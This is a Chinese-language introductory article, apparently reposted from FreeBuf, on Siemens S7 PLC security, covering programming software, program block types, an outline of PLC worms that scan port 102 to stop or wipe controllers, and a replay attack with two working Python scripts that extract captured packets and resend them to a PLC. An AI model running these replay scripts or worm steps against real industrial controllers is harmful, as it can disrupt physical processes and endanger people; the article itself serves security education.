工控安全 | 西门子S7安全知识讲解

发表于:2017-12-06 13:19:15 来源:  FreeBuf.COM 阅读数(0人)

前言


本文主要对工控安全中西门子s7系列plc展开一个入门级全方位的讲解。继续抛砖引玉,欢迎各位工控大神来交流。


0×1关于编程软件


S7200有其对应的step7 MicroWIN。


S7200-smart 是西门子为印度和中国推出的独占PLC。其编程软件为:step 7 Micro win smart


S7300/400/1200/1500的编程软件:博途 TIA v14 sp1。


0×2关于基本概念


1)寄存器


寄存器如下(了解即可,但是在一些特殊环境下,对plc进行控制的默认行为为:对plc的DI模块等进行控制。此时则需要对Q寄存器的地址进行读取和改写,0×00表示PLC上的灯全灭,0XFF表示灯全亮)




2)关于程序块:


1.OB(Organization Block): 组织块构成了操作系统和用户程序之间的接口。 也是用户程序的入口程序块,相当于c语言main函数。类似于系统中存在多个main函数一样。在西门子的PLC中,OB的执行是从OB1,OB2,OB3……依次循环下去的。


2.FB(FunctionBlock):函数功能块。函数块是一种代码块,执行一些函数。它将输入、输出和输入/输出参数永久地存储在背景数据块中,从而在执行块之后,这些值依然有效。 所以函数块也称为“有存储器”的块。


3.FC(Function):函数 (FC) 是不含存储区的代码块。通过函数可在用户程序中传送参数。由于没有可以存储块参数值的数据存储器。 因此,调用函数时,必须给所有形参分配实参。


4.DB(Data Block):全局函数块。此块可以存储所有其他块都可以使用的数据。


5.背景数据块:FB块的调用称为实例。实例使用的数据存储在背景数据块中。


0×3关于层次调用




0×4关于PLC的病毒以及蠕虫


1)寻找PLC。因为西门子的PLC通信端口均为102端口。所以写的病毒程序可以不定时扫描102端口,通过发送获取cpu信息的数据包对PLC的类型进行判断,然后加载适合的payload程序。


2)如果PLC版本为s7-200~s7-400之间,则可以发送已经编写好的程序程序控制PLC,比如停止PLC工作,清空plc程序,在DB中写入垃圾指令等。还可以进行重放攻击,修改PLC的工作流程。


3)如果PLC版本为s7-1200或者s7-1500,除了利用s7200~400之外的手段外,还可以通过新增的FB块TCON、TDISCON、TSEND、TRCV模块进行PLC之间的传播感染。(有兴趣的童鞋们可以去搜2016年的blackhat大会上的相关plc资料)这些FB模块在s7-200、300、400是没有的。所以,系统功能越复杂,从某些角度讲,问题存在可能就会越多。


0×5关于重放攻击


重放攻击,顾名思义,就是把上位机软件编译好的程序重新下装到PLC机器当中。而我们需要抓包截取的就是从开始连接到结束连接这一段的数据包,进行重新发送。而且神奇之处是,在s7200,300,400之间,重放攻击是可以进行的,在施耐德某PLC上,也仅仅是一个字节的验证重放。


这里,我附上我用python调试简单易用的两个小脚本。方便大家重放使用。


当我们利用wireshark抓取数据包,并且整理如下后(其实整理到只有我们发送到PLC的数据包后,保存成pcap格式):




import dpkt

import socket

deff_writefile(data):

    global i_count;

    filename='payload\\';   # 保存的数据的位置。

    filename+=str(i_count)+'.bin';

    fp=open(filename,'wb');

    modbus_zong=data[54:] # get send data

    fp.write(modbus_zong);

    fp.close();

    i_count=i_count+1;

defprintPcap(pcap):

    for (ts,buf) in pcap:

        try:

            eth = dpkt.ethernet.Ethernet(buf)

            ip = eth.data

            src = socket.inet_ntoa(ip.src)

            dst = socket.inet_ntoa(ip.dst)

            print '[+] Src:'+src+'-->Dst:'+dst

            f_writefile(buf);

        except:

            pass

    print 'over'

def main():

    f = open('packagename','rb')  # 整理后的包名

    pcap_pack = dpkt.pcap.Reader(f)

    printPcap(pcap_pack)

if __name__ =='__main__':

    main();

这样在payload文件夹下则会产生每个真实发送的数据包,部分截图:




之后再编写一个读取此文件夹下*.bin文件的内容,然后再次发送的python脚本即可。我写的如下:


import socket;

import time;


host="192.168.111.111"# dst ip

port=102;

 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((host,port))

 

def f_send(data):

    s.send(data);

 

deff_readfile(index):

    data='';

    filename='payload\\';

    filename+=str(index)+'.bin';

    try:

        fp=open(filename,'rb');

        data=fp.read();

        f_send(data);

        print 'send over %d'%index;

    except:

        pass

 

def main():

    for i in range(200):

       f_readfile(i);

       time.sleep(0.1);

print 'over'

if __name__ =='__main__':

main()

0×6结尾


经过上文所述,工控PLC难道就真的不安全了吗?其实也不是。无论是在博途软件,还是在step7软件上。我们都可以发现:plc对下装的程序可以进行密码设置,从而防止一些恶意程序对PLC进行危害性操作的。如下图所示:




(上图是博途软件上的截图)




(上图是s7200 smart上的截图)


当然,进行这些设置后,PLC是否就可以高枕勿忧了呢?此时,想起我国的一句俗话:“道高一尺魔高一丈”。放到这里也许会比较正适用吧,接下来的路,需要我们共同研究进步了……


相关新闻

大家都在学

课程详情

信息安全基础

课程详情

网络安全漫谈

课程详情

网络安全基础